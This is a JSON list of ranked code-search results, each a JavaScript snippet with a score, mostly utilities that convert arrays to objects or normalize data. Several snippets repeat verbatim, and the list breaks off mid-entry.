[ { "docid": "22f4f37ca819caa40a604ab1f040a327", "score": "0.608033", "text": "function array_to_object ( a )\r\n{\r\n var o = {};\r\n for ( var i = 0; i < a.length; i++ )\r\n {\r\n o[ a[ i ] ] = \"\";\r\n }\r\n return o;\r\n}", "title": "" }, { "docid": "54ce17e0aa65cd49fe5fefbfac265e46", "score": "0.59842986", "text": "toObject(s, convertCase) {\n let obj = {};\n let kv, key, val;\n angular.forEach((s || '').split('&'), (s) => {\n if (!s) {\n return;\n }\n\n //Split key/value and decode key\n kv = s.replace(/\\+/g, '%20').split('=');\n key = tryDecodeURIComponent(kv[0]);\n\n //If not defined, exit\n if (!angular.isDefined(key)) {\n return;\n }\n\n //Convert case and get value\n key = convertToCase(key, convertCase);\n val = angular.isDefined(kv[1]) ? tryDecodeURIComponent(kv[1]) : true;\n\n //Set property\n if (!hasOwnProperty.call(obj, key)) {\n obj[key] = val;\n }\n else if (angular.isArray(obj[key])) {\n obj[key].push(val);\n }\n else {\n obj[key] = [obj[key], val];\n }\n });\n return obj;\n }", "title": "" }, { "docid": "a259481832a6537b5bffe2bea385e122", "score": "0.598388", "text": "function _adjust_value(value) {\n\t\tif(!value) value = {};\n\t\tif(!_.isString(value.text)) value.text = '';\n\t\tif(!_.isArray(value.image)) value.image = [];\n\t\tif(!_.isArray(value.video)) value.video = [];\n\t\tif(!_.isArray(value.audio)) value.audio = [];\n\t\treturn value;\n\t}", "title": "" }, { "docid": "a13989438256a9c2e79511e8d881252c", "score": "0.59515494", "text": "function Arrify(input) {\n for (var prop in input) {\n console.log(typeof input[prop]);\n if (typeof input[prop] == 'string') {\n data[prop] = [input[prop]];\n } else {\n data[prop] = input[prop];\n }\n }\n }", "title": "" }, { "docid": "e5fcca1fb33c87b9beb18e50ce15364e", "score": "0.58279186", "text": "function toObject(arr){var res={};for(var i=0;i<arr.length;i++){if(arr[i]){extend(res,arr[i]);}}return res;}", "title": "" }, { "docid": "e5fcca1fb33c87b9beb18e50ce15364e", "score": "0.58279186", "text": "function toObject(arr){var res={};for(var i=0;i<arr.length;i++){if(arr[i]){extend(res,arr[i]);}}return res;}", "title": "" }, { "docid": "e5fcca1fb33c87b9beb18e50ce15364e", "score": "0.58279186", "text": "function toObject(arr){var res={};for(var i=0;i<arr.length;i++){if(arr[i]){extend(res,arr[i]);}}return res;}", "title": "" }, { "docid": "a021bec0ced58c085d94d64027008554", "score": "0.5815778", "text": "function reformat_arr(arr){\n return arr.map(obj =>{ //take the given array and create a new one\n return {\n name: obj.name,\n keywords: obj.keywords.toString().split(\", \") //turn keywords into array\n }\n });\n}", "title": "" }, { "docid": "4f758be1b012e7e8d5d1bee79c69f5b8", "score": "0.5808158", "text": "function _unseialize(input) {\n var length = 0;\n switch (input.charAt(0)) {\n // array\n case 'a':\n length = _serialized_len(input);\n input = input.substr(String(length).length + 4);\n var arr = [];\n var key = null;\n var value = null;\n for (var i = 0; i < length; ++i) {\n key = _unseialize(input);\n input = key[1];\n value = _unseialize(input);\n input = value[1];\n arr[key[0]] = value[0];\n }\n input = input.substr(1);\n return [arr, input];\n break;\n // Objects\n case 'O':\n length = _serialized_len(input);\n var classname = String(input.substr(String(length).length + 4, length));\n input = input.substr(String(length).length + 6 + length);\n var numProperties = Number(input.substring(0, input.indexOf(':')));\n input = input.substr(String(numProperties).length + 2);\n var obj = {};\n var property = null;\n var value = null;\n for (var i = 0; i < numProperties; ++i) {\n key = _unseialize(input);\n input = key[1];\n // Handle private/protected\n key[0] = key[0].replace(new RegExp('^\\x00' + classname + '\\x00'), '');\n key[0] = key[0].replace(new RegExp('^\\x00\\\\*\\x00'), '');\n value = _unseialize(input);\n input = value[1];\n obj[key[0]] = value[0];\n }\n input = input.substr(1);\n return [obj, input];\n break;\n //Strings\n case 's':\n length = _serialized_len(input);\n return [String(input.substr(String(length).length + 4, length)), input.substr(String(length).length + 6 + length)];\n break;\n // Integers and doubles\n case 'i':\n case 'd':\n var num = Number(input.substring(2, input.indexOf(';')));\n return [num, input.substr(String(num).length + 3)];\n break;\n // Booleans\n case 'b':\n var bool = (input.substr(2, 1) == 1);\n return [bool, input.substr(4)];\n break;\n // Null\n case 'N':\n return [null, input.substr(2)];\n break;\n // Unsupported\n case 'o':\n case 'r':\n case 'C':\n case 'R':\n case 'U':\n log('Error: Unsupported PHP data type found!', 'error');\n // Error\n default:\n return [null, null];\n break;\n }\n }", "title": "" }, { "docid": "9db83eff54cc32a3a30b08b005e8b85d", "score": "0.57945025", "text": "function toObject(arr){var res={};for(var i=0;i < arr.length;i++) {if(arr[i]){extend(res,arr[i]);}}return res;}", "title": "" }, { "docid": "9db83eff54cc32a3a30b08b005e8b85d", "score": "0.57945025", "text": "function toObject(arr){var res={};for(var i=0;i < arr.length;i++) {if(arr[i]){extend(res,arr[i]);}}return res;}", "title": "" }, { "docid": "dee7b662c0b6cb208a3d14db9bc48410", "score": "0.57526326", "text": "function abbreviateArray(arr) {\n return arr.map(function (v) {\n if (v instanceof Object && ! directlyAbbreviateObjects[v.constructor.name]) {\n var newv = {}, count = 0;\n for (var k in v) {\n if (v.hasOwnProperty(k)) newv[k] = abbreviateVal(v[k]); // @todo: handle elipses\n if (++count > MAX_OBJECT_PROPS) break;\n }\n return newv;\n } else {\n return abbreviateVal(v);\n }\n });\n}", "title": "" }, { "docid": "4e5d116ac715b7e919276d9437a559e0", "score": "0.57471067", "text": "_postProcess (value) {\n if (isArray(value)) {\n return value\n } else if (isPlainObject(value)) {\n // convert plain object to array.\n var keys = Object.keys(value)\n var i = keys.length\n var res = new Array(i)\n var key\n while (i--) {\n key = keys[i]\n res[i] = {\n $key: key,\n $value: value[key]\n }\n }\n return res\n } else {\n if (typeof value === 'number' && !isNaN(value)) {\n value = range(value)\n }\n return value || []\n }\n }", "title": "" }, { "docid": "31856a8e21d18273f7705687c300d780", "score": "0.5740581", "text": "function convert_ (o) {\n if ( typeof o === 'object' ) {\n const keys = Object.keys(o);\n for ( let key of keys ) {\n if ( key === '_text' ) {\n o._ = o._text;\n delete o._text;\n key = '_';\n } else if ( key === '_attributes' ) {\n o.$ = o._attributes;\n delete o._attributes;\n key = '$';\n }\n o[key] = convert_(o[key]);\n }\n if ( keys.length === 1 &&\n keys[0] === '_text' ) {\n return o._;\n } else {\n return o;\n }\n } else if ( Array.isArray(o) ) {\n return o.map(convert_);\n } else {\n return o;\n }\n}", "title": "" }, { "docid": "4ab2799239c8ae79841b85a05f9cb3d3", "score": "0.5716622", "text": "function convertArraysToObjects(obj) {\n return _.reduce(obj, (acc, value, key) => {\n if (_.isDate(value)) {\n // Don't let the Date object hit the general Object case below.\n acc[key] = value;\n } else if (_.isArray(value)) {\n acc[key] = value.reduce((acc, value, key) => {\n acc[key] = _.isObject(value) ? convertArraysToObjects(value) : value;\n return acc;\n }, {});\n } else if (_.isObjectLike(value)) {\n acc[key] = convertArraysToObjects(value);\n } else {\n acc[key] = value;\n }\n return acc;\n }, {});\n}", "title": "" }, { "docid": "4287e3e8cf4ab7deaad560148ef0f838", "score": "0.568786", "text": "function normalizeStyleData(data){var style=normalizeStyleBinding(data.style);// static style is pre-processed into an object during compilation\n// and is always a fresh object, so it's safe to merge into it\nreturn data.staticStyle?extend(data.staticStyle,style):style;}// normalize possible array / string values into Object", "title": "" }, { "docid": "4287e3e8cf4ab7deaad560148ef0f838", "score": "0.568786", "text": "function normalizeStyleData(data){var style=normalizeStyleBinding(data.style);// static style is pre-processed into an object during compilation\n// and is always a fresh object, so it's safe to merge into it\nreturn data.staticStyle?extend(data.staticStyle,style):style;}// normalize possible array / string values into Object", "title": "" }, { "docid": "4287e3e8cf4ab7deaad560148ef0f838", "score": "0.568786", "text": "function normalizeStyleData(data){var style=normalizeStyleBinding(data.style);// static style is pre-processed into an object during compilation\n// and is always a fresh object, so it's safe to merge into it\nreturn data.staticStyle?extend(data.staticStyle,style):style;}// normalize possible array / string values into Object", "title": "" }, { "docid": "756fe3f5921bc1b67968edea6c592f57", "score": "0.5676756", "text": "normalize(data) {\n if (data && data.constructor !== Array) {\n return [data];\n }\n return (data || []).slice(0);\n }", "title": "" }, { "docid": "6e88541e25df8e95cce5643604ea15cc", "score": "0.5676321", "text": "function convertArrayToObject(array) {\n var obj = {};\n var name = 97;\n for (var i = 0; i < array.length; ++i) {\n // name of the property is a letter of latin alphabet\n // for this take ASCII code (97 - 122)\n if (name <= 122) {\n obj[String.fromCharCode(name)] = array[i];\n ++name;\n }\n // then take digits\n else {\n obj[i - 25] = array[i];\n }\n }\n \n return obj;\n }", "title": "" }, { "docid": "49f35dcfdc044e5e12e6d06ef56dfeb0", "score": "0.56666857", "text": "convertOptions(options) {\n const everyOptionString = options.every(option => typeof option === 'string');\n if (everyOptionString) {\n return options.map(value => ({ label: value, value }));\n }\n return options;\n }", "title": "" }, { "docid": "65f3f56c16e52032a730e749af5775f6", "score": "0.5650579", "text": "function toObject(value) {\n\t if (!Array.isArray(value)) {\n\t return value;\n\t }\n\n\t var map = {};\n\t for (var i = 0; i < value.length; i++) {\n\t map[value[i]] = true;\n\t }\n\t return map;\n\t}", "title": "" }, { "docid": "65f3f56c16e52032a730e749af5775f6", "score": "0.5650579", "text": "function toObject(value) {\n\t if (!Array.isArray(value)) {\n\t return value;\n\t }\n\n\t var map = {};\n\t for (var i = 0; i < value.length; i++) {\n\t map[value[i]] = true;\n\t }\n\t return map;\n\t}", "title": "" }, { "docid": "a8ad4da7c2872288701085d6c25569b1", "score": "0.56450635", "text": "function stringToObject(input) {\n let result = _.fromPairs(input.split('&').map(s => s.split('=')))\n console.log(result);\n}", "title": "" }, { "docid": "99240475dc7570be30737b2ae884546b", "score": "0.5643004", "text": "function convertObj(obj){\r\n\treturn obj.split(',')\r\n\t\t .map(keyVal => {\r\n\t\t\t return keyVal\r\n\t\t .replace(/{/g, \":\")\r\n\t\t\t\t .split(':')\r\n\t\t\t\t .map(_ => _.trim());\r\n\t\t })\r\n\t\t .reduce((accumulator, currentValue) => {\r\n\t\t\t accumulator[currentValue[0]] = currentValue[1]\r\n\t\t\t return accumulator\r\n\t\t }, {});\r\n }", "title": "" }, { "docid": "ca23d52879a1662a06bacbdf7e688d46", "score": "0.5642703", "text": "function fixData (result) {\n _.each(result, function (value, key) {\n if (value instanceof Array) {\n result[key] = _.compact(value);\n } else if (typeof value === 'string') {\n if (value.toLowerCase() === 'true') {\n result[key] = true;\n } else if (value.toLowerCase() === 'false') {\n result[key] = false;\n }\n } else if (typeof value === 'object') {\n fixData(value);\n } \n });\n}", "title": "" }, { "docid": "ee160c48966fc1faa478de96cea52016", "score": "0.5628436", "text": "function normalizeParams(params) {\n if (params === true) {\n return [];\n }\n if (Array.isArray(params)) {\n return params;\n }\n if (isObject(params)) {\n return params;\n }\n return [params];\n}", "title": "" }, { "docid": "7e1a089fb049c1a3c55efaf2f4577318", "score": "0.5620164", "text": "function clean(input) {\n\t return Array.isArray(input) ? cleanArray(input) : cleanObject(input);\n\t}", "title": "" }, { "docid": "7e1a089fb049c1a3c55efaf2f4577318", "score": "0.5620164", "text": "function clean(input) {\n\t return Array.isArray(input) ? cleanArray(input) : cleanObject(input);\n\t}", "title": "" }, { "docid": "9569e31687b1962445bd0b90a5943b66", "score": "0.56167185", "text": "function normalize(values) {\n return _.map(values, (val) => {\n var nom = val[0].trim().toLowerCase();\n if (normes[nom]) {\n return { nom: normes[nom], nomOrigine: val[0], connaissance: Number(val[1]), envie: Number(val[2]) }\n }\n\n console.log('no norm for: \"' + val[0] + '\"')\n return { nom: val[0].trim().toLowerCase(), nomOrigine: val[0], connaissance: Number(val[1]), envie: Number(val[2]) }\n })\n}", "title": "" }, { "docid": "f59226974a8cb66b35c3dbb17d60e73d", "score": "0.5611286", "text": "function clean(input) {\n return Array.isArray(input) ? cleanArray(input) : cleanObject(input);\n}", "title": "" }, { "docid": "5d120c373ecf2b1106ba76e29b833c50", "score": "0.55975765", "text": "function arrayToObject(array, extractor) {\n\t return array.reduce(function (result, item, i) {\n\t var nameAndValue = extractor(item, i);\n\t if (nameAndValue) result[nameAndValue[0]] = nameAndValue[1];\n\t return result;\n\t }, {});\n\t}", "title": "" }, { "docid": "4541303aba63645868bb74466ff2ac9a", "score": "0.55761075", "text": "function collectionConverter(input) {\n // determine the inputted data type\n if (typeof input === \"object\" && !Array.isArray(input)) {\n // if Object type and not array [return will be an array]\n let resultArray = [];\n // iterate over the input object\n for (let keys in input) {\n resultArray.push(keys, input[keys]);\n }\n return resultArray;\n } else if (Array.isArray(input)) {\n // if array type [return will object type ]\n let resultObject = {};\n\n for (let i = 0; i < input.length; i += 2) {\n resultObject[input[i]] = input[i + 1];\n }\n return resultObject;\n } else {\n return;\n }\n}", "title": "" }, { "docid": "d58ba66ed3cafff90a0386c793abff87", "score": "0.5561524", "text": "function arrayToObject(array, extractor) {\r\n return array.reduce(function (result, item, i) {\r\n var nameAndValue = extractor(item, i);\r\n if (nameAndValue)\r\n result[nameAndValue[0]] = nameAndValue[1];\r\n return result;\r\n }, {});\r\n}", "title": "" }, { "docid": "e3b2d103150d0a6566566a3f1c97ba33", "score": "0.55567205", "text": "function normalizeOptionsArray(options) {\n if (options.length > 0 && (typeof options[0] === 'string' || typeof options[0] === 'number')) {\n if (typeof options[0] === 'string') {\n options = options.map(item => ({ id: item, name: _.capitalize(item.replace('_', ' ')) }))\n } else if (typeof options[0] === 'number') {\n options = options.map(item => ({ id: item, name: item }))\n }\n } else if (typeof options === 'object' && Object.keys(options).length > 0 && typeof options[Object.keys(options)[0]] === 'string') {\n options = Object.keys(options).map(key => ({ id: options[key], name: key }))\n }\n return options\n}", "title": "" }, { "docid": "1e1d5b1389a511498164d5d1a77eaa2a", "score": "0.55337644", "text": "function normalize$1(data) {\r\n if (typeof data === 'undefined') {\r\n return data;\r\n }\r\n try {\r\n return JSON.parse(JSON.stringify(data));\r\n }\r\n catch (e) {\r\n return data;\r\n }\r\n}", "title": "" }, { "docid": "869d28844a7f0a08817a3d6b7571eafc", "score": "0.55336314", "text": "function normalize(a) {\n if (!(a instanceof Array)) {\n a = [a, a];\n }\n\n return a;\n}", "title": "" }, { "docid": "ce4d5cb23e5c4c1481e6033cdde73ddb", "score": "0.55041665", "text": "function arrayToObject(array, extractor) {\n return array.reduce(function (result, item, i) {\n var nameAndValue = extractor(item, i);\n if (nameAndValue) result[nameAndValue[0]] = nameAndValue[1];\n return result;\n }, {});\n}", "title": "" }, { "docid": "ce4d5cb23e5c4c1481e6033cdde73ddb", "score": "0.55041665", "text": "function arrayToObject(array, extractor) {\n return array.reduce(function (result, item, i) {\n var nameAndValue = extractor(item, i);\n if (nameAndValue) result[nameAndValue[0]] = nameAndValue[1];\n return result;\n }, {});\n}", "title": "" }, { "docid": "9b59cbeacbda8b5b74d565e054e31013", "score": "0.5492009", "text": "function arrayToObject(array, extractor) {\n return array.reduce(function (result, item, i) {\n var nameAndValue = extractor(item, i);\n if (nameAndValue)\n result[nameAndValue[0]] = nameAndValue[1];\n return result;\n }, {});\n}", "title": "" }, { "docid": "9b59cbeacbda8b5b74d565e054e31013", "score": "0.5492009", "text": "function arrayToObject(array, extractor) {\n return array.reduce(function (result, item, i) {\n var nameAndValue = extractor(item, i);\n if (nameAndValue)\n result[nameAndValue[0]] = nameAndValue[1];\n return result;\n }, {});\n}", "title": "" }, { "docid": "10215f70443c3727193b38953bf45e85", "score": "0.5460721", "text": "static convert(v, type=this) {\n if (v instanceof Array) {\n if (v[0] instanceof Array) {\n return v.map(t => this.convert(t, type=type));\n } else {\n return type.from(v);\n }\n } else {\n return type.from(v);\n }\n }", "title": "" }, { "docid": "0452f8ececfed221d4145ece1f1bf4f1", "score": "0.5442457", "text": "extract(object, arrayOfValues) {\n const result = {};\n arrayOfValues.forEach((name) => {\n if (name in object) result[name] = object[name];\n });\n return result;\n }", "title": "" }, { "docid": "6cf61b0268da8cc916be2dd714321fa2", "score": "0.541305", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n }", "title": "" }, { "docid": "eb76b538f1f9eacb1bf74a2f3b44da3b", "score": "0.5400341", "text": "function converter(arr) {\n\n let ans = [];\n arr.forEach(element => {\n let obj = {};\n obj[\"label\"] = Object.keys(element)[0].toString();//label: \"Arson\" or \"Arrest\"\n obj[\"Arrests\"] = element[obj[\"label\"]][\"Arrest\"].toString();//the Arrests are given its value\n obj[\"No Arrests\"] = element[obj[\"label\"]][\"noArrest\"].toString();//they are converted to strings in order to be used correctly by d3\n ans.push(obj);\n });\n return ans;\n}", "title": "" }, { "docid": "9ceecd9ffb545555cfdf3a7c5ae85094", "score": "0.5399537", "text": "prepMatchObject(strArr) {\n\t\tconst matches = {};\n\t\tstrArr.forEach((val) => {\n\t\t\tconst stringMatch = val.match(/^(\\w).*(\\w)$/);\n\t\t\tif (matches[stringMatch[1]]) {\n\t\t\t\tmatches[stringMatch[1]].push(stringMatch[2]);\n\t\t\t} else {\n\t\t\t\tmatches[stringMatch[1]] = [stringMatch[2]];\n\t\t\t}\n\t\t});\n\t\treturn matches;\n\t}", "title": "" }, { "docid": "a34ace22a2f473be370281619b454255", "score": "0.53936917", "text": "function toObject(arr) {\n\t var res = arr[0] || {};\n\t for (var i = 1; i < arr.length; i++) {\n\t if (arr[i]) {\n\t extend(res, arr[i]);\n\t }\n\t }\n\t return res;\n\t}", "title": "" }, { "docid": "730a8a8007b2b3be77f9b0ec1db1885e", "score": "0.5392457", "text": "function coerceAll(obj) {\n var type = Array.isArray(obj) ? 'array' : typeof obj;\n\n switch(type) {\n case 'string':\n return coerce(obj);\n break;\n case 'object':\n if(obj) {\n Object.keys(obj).forEach(function (key) {\n obj[key] = coerceAll(obj[key]);\n });\n }\n break;\n case 'array':\n obj.map(function (o) {\n return coerceAll(o);\n });\n break;\n }\n\n return obj;\n}", "title": "" }, { "docid": "a16f9976bf886eca9ee145cd59be0d97", "score": "0.5386932", "text": "function normalize$3(a) {\n if (!(a instanceof Array)) {\n a = [a, a];\n }\n\n return a;\n }", "title": "" }, { "docid": "bc7f98361a9321abb8829ca5bd1ef32d", "score": "0.535336", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "bc7f98361a9321abb8829ca5bd1ef32d", "score": "0.535336", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "f6f229f6696038e86ba23ca2025e3841", "score": "0.5336522", "text": "function pe(e){return Array.isArray(e)?e.length>1?{$or:[].concat(e.map(e=>Object.assign({},e)))}:Object.assign({},e[0]):Object.assign({},e)}", "title": "" }, { "docid": "ca4d9b56b3bccfa761fc8f859b2c430d", "score": "0.5306579", "text": "function toObject (arr) {\nvar res = {};\nfor (var i = 0; i < arr.length; i++) {\nif (arr[i]) {\nextend(res, arr[i]);\n}\n}\nreturn res\n}", "title": "" }, { "docid": "d390c6332445f9313bbc7d2854eb7059", "score": "0.5293835", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n }", "title": "" }, { "docid": "d390c6332445f9313bbc7d2854eb7059", "score": "0.5293835", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n }", "title": "" }, { "docid": "d390c6332445f9313bbc7d2854eb7059", "score": "0.5293835", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n }", "title": "" }, { "docid": "11e8a8475ebb2af1761a12d0ff2e10f5", "score": "0.5287353", "text": "function arrayToObject(array){\n return array.reduce((obj,item)=>{\n obj[item]={\n responses:[],\n parameters:[],\n path:\"\"\n };\n return obj;\n },{});\n}", "title": "" }, { "docid": "a96264ba91280880d55b3d1533ce3965", "score": "0.52786887", "text": "function normalizeStyleData(data){var style=normalizeStyleBinding(data.style); // static style is pre-processed into an object during compilation\n// and is always a fresh object, so it's safe to merge into it\nreturn data.staticStyle?extend(data.staticStyle,style):style;} // normalize possible array / string values into Object", "title": "" }, { "docid": "de01038fbc0bcd14222825b17cd01254", "score": "0.52648705", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n }", "title": "" }, { "docid": "de01038fbc0bcd14222825b17cd01254", "score": "0.52648705", "text": "function toObject(arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res;\n }", "title": "" }, { "docid": "54c6a29b620098550dcdb6a48e52c693", "score": "0.5264708", "text": "function dataConverter(data){\n const newData = data.map((data) => {\n return {\n //When making data, if colum includes space orso, make String and insert instead\n Name: data.name,\n Age: data.age,\n CPR: data.cpr,\n Phones: multiArrayTableBootStrap(data.phones),\n }\n });\n return newData;\n }", "title": "" }, { "docid": "2df0b86f3640d6b8ebcc4e173bc612a7", "score": "0.5264353", "text": "transformValues(values) {\n const newObj = {}\n\n for (let key in values) {\n const rawValue = values[key]\n const transform = this.settings.transforms[rawValue]\n let value\n\n if (this.settings.transforms.hasOwnProperty(rawValue)) {\n value = typeof transform === 'function' ? transform(rawValue, values) : transform\n } else {\n value = this.escape(rawValue)\n }\n\n newObj[key] = value\n }\n\n return newObj\n }", "title": "" }, { "docid": "4611320fc3708b74855416f64a569ac8", "score": "0.52636325", "text": "function le(e){return Array.isArray(e)?e.length>1?{$or:[].concat(e.map(e=>Object.assign({},e)))}:Object.assign({},e[0]):Object.assign({},e)}", "title": "" }, { "docid": "06b7b83aa73340ab5bf4f9a4e86cbfd5", "score": "0.5262077", "text": "function toObject (arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "72b8bad0b1e853b5988c2f196b2264a4", "score": "0.52591324", "text": "function convertArrayToObject(array) {\n var object = {}\n for (var x = 0; x < gridSize; x++) {\n object[x] = {};\n for (var y = 0; y < gridSize; y++) {\n if (array[x][y].value) {\n object[x][y] = array[x][y].value;\n } else {\n object[x][y] = \"undefined\"\n }\n }\n }\n return object;\n}", "title": "" }, { "docid": "f1f7747b9122b8b11bfab6a84c531e2e", "score": "0.52588856", "text": "function fromDynamoValue(obj) {\n function parse(x) {\n if ('S' in x) return x.S;\n if ('N' in x) return parseFloat(x.N);\n if ('BOOL' in x) return x.BOOL;\n if ('B' in x) return Buffer.from(x.B, 'Base64');\n if ('NULL' in x) return null;\n if ('L' in x) return x.L.map(parse);\n if ('M' in x) return _.mapObject(x.M, parse);\n throw new Error('Unsupported format: ' + JSON.stringify(x));\n }\n\n // top level is an object\n return _.mapObject(obj, parse);\n }", "title": "" }, { "docid": "8094de5ce5253d1081e9cb6ba5f5ebd4", "score": "0.52543634", "text": "function decode(value\n/*: any*/\n)\n/*: any*/\n{\n if (value === null || (0, _typeof2.default)(value) !== 'object') {\n return value;\n }\n\n if ((0, _isArray.default)(value)) {\n var dup = [];\n (0, _forEach.default)(value).call(value, function (v, i) {\n dup[i] = decode(v);\n });\n return dup;\n }\n\n if (typeof value.__op === 'string') {\n return (0, _ParseOp.opFromJSON)(value);\n }\n\n if (value.__type === 'Pointer' && value.className) {\n return _ParseObject.default.fromJSON(value);\n }\n\n if (value.__type === 'Object' && value.className) {\n return _ParseObject.default.fromJSON(value);\n }\n\n if (value.__type === 'Relation') {\n // The parent and key fields will be populated by the parent\n var relation = new _ParseRelation.default(null, null);\n relation.targetClassName = value.className;\n return relation;\n }\n\n if (value.__type === 'Date') {\n return new Date(value.iso);\n }\n\n if (value.__type === 'File') {\n return _ParseFile.default.fromJSON(value);\n }\n\n if (value.__type === 'GeoPoint') {\n return new _ParseGeoPoint.default({\n latitude: value.latitude,\n longitude: value.longitude\n });\n }\n\n if (value.__type === 'Polygon') {\n return new _ParsePolygon.default(value.coordinates);\n }\n\n var copy = {};\n\n for (var k in value) {\n copy[k] = decode(value[k]);\n }\n\n return copy;\n}", "title": "" }, { "docid": "f64997507038ffaed1e49217b533d3db", "score": "0.5244574", "text": "function arrayify(value) {\n if (Array.isArray(value)) {\n return value;\n }\n else if (value) {\n return [value];\n }\n}", "title": "" }, { "docid": "1b524b7b89008d176ca8af2905399eef", "score": "0.5241444", "text": "function arrayToSet(xs) {\n var s = {};\n for (var i = 0; i < xs.length; i++) {\n\ts[JSON.stringify(xs[i])] = xs[i];\n }\n return s;\n}", "title": "" }, { "docid": "e830b7f831a5088d1da039eaf7de8c86", "score": "0.5240436", "text": "function toObject( arr ) {\n\t\tvar res = {};\n\t\tfor ( var i = 0; i < arr.length; i++ ) {\n\t\t\tif ( arr[ i ] ) {\n\t\t\t\textend( res, arr[ i ] );\n\t\t\t}\n\t\t}\n\t\treturn res\n\t}", "title": "" }, { "docid": "32e5b01f423c59a1c772d736b003a89d", "score": "0.5235697", "text": "function normalizeArray(arr) {\n return Array.isArray(arr) ? arr : [arr];\n}", "title": "" }, { "docid": "3224ff8b2e770f70d42a259fdb10d1bb", "score": "0.5233452", "text": "function normalizeStyleData(data){var style=normalizeStyleBinding(data.style); // static style is pre-processed into an object during compilation\n\t// and is always a fresh object, so it's safe to merge into it\n\treturn data.staticStyle?extend(data.staticStyle,style):style;} // normalize possible array / string values into Object", "title": "" }, { "docid": "803f738ab42b333a07bc4b3b93944833", "score": "0.52305365", "text": "function normalizeData({ normalize = _normalize, schema }, data) {\n let normalizedData = data;\n try {\n normalizedData = normalize(data, schema);\n\n if (schema) { // tried normalizing indexed data\n let {\n entities = {}, // indexed resources\n result = [] // just indices\n } = normalizedData;\n\n // normalizr return single id for non-arrays\n result = []\n .concat(result)\n .filter((i) => i || i === 0);\n\n // data is non-indexable (missing ids most likely)\n if (!result.length && Object.keys(entities).length) {\n normalizedData = data; // use raw data\n } else { // everything was a-ok\n return { result, entities };\n }\n }\n } catch (e) { /* carry on */ }\n return {\n result: [normalizedData]\n };\n}", "title": "" }, { "docid": "808426c599cbcee67ce5147458d75ef9", "score": "0.52271855", "text": "function toObject(arr) {\n var res = {};\n for(var i = 0; i < arr.length; i++) {\n if(arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "5e0f0b42375216c5ec6abfd5404fedd0", "score": "0.5224439", "text": "static arrayToObject(array) {\n let result = {};\n\n for (let i = 0; i < array.length; ++i) {\n result[array[i]] = true;\n }\n\n return result;\n }", "title": "" }, { "docid": "4c72282f98a94de0c6f801883ae26bcd", "score": "0.5203495", "text": "function toObject (arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "4c72282f98a94de0c6f801883ae26bcd", "score": "0.5203495", "text": "function toObject (arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "4c72282f98a94de0c6f801883ae26bcd", "score": "0.5203495", "text": "function toObject (arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "4c72282f98a94de0c6f801883ae26bcd", "score": "0.5203495", "text": "function toObject (arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "4c72282f98a94de0c6f801883ae26bcd", "score": "0.5203495", "text": "function toObject (arr) {\n var res = {};\n for (var i = 0; i < arr.length; i++) {\n if (arr[i]) {\n extend(res, arr[i]);\n }\n }\n return res\n }", "title": "" }, { "docid": "e554acef51038a9a936f821c84e6df81", "score": "0.5203006", "text": "function expandToObject(input) {\n // If the input is a string, encapsulate it as an array\n var retObj = input;\n if (typeof retObj === 'string') {\n retObj = [input];\n }\n\n // If the retObj is an array\n if (Array.isArray(retObj)) {\n // Collect the inputs into an object\n var inputArr = retObj;\n retObj = {};\n\n // Iterate over the inputs\n inputArr.forEach(function (inputStr) {\n // Break down any brace exapansions\n var inputPaths = braceExpand(inputStr);\n\n // Iterate over the paths\n inputPaths.forEach(function (filepath) {\n // Grab the extension and save it under its key\n // TODO: Deal with observer pattern here.\n // TODO: Will probably go `classical` here\n var ext = path.extname(filepath).slice(1);\n retObj[ext] = filepath;\n });\n });\n }\n\n // Return the objectified src\n return retObj;\n }", "title": "" }, { "docid": "c8ced70bcc9cb26a342ea37965ee3db0", "score": "0.51796097", "text": "function headersToObject(headers) {\n var headersObject = {};\n headers.forEach(function (value, name) {\n var isMultiValue = !singleValueHeaders.includes(name.toLowerCase()) && value.includes(',');\n headersObject[name] = isMultiValue\n ? value.split(',').map(function (s) { return s.trim(); })\n : value;\n });\n return headersObject;\n }", "title": "" }, { "docid": "c8ced70bcc9cb26a342ea37965ee3db0", "score": "0.51796097", "text": "function headersToObject(headers) {\n var headersObject = {};\n headers.forEach(function (value, name) {\n var isMultiValue = !singleValueHeaders.includes(name.toLowerCase()) && value.includes(',');\n headersObject[name] = isMultiValue\n ? value.split(',').map(function (s) { return s.trim(); })\n : value;\n });\n return headersObject;\n }", "title": "" }, { "docid": "349b35e81c8fe77e834503dcaf35a6eb", "score": "0.5175621", "text": "_validateValue() {\n const that = this;\n\n if (typeof that.value === 'string') {\n 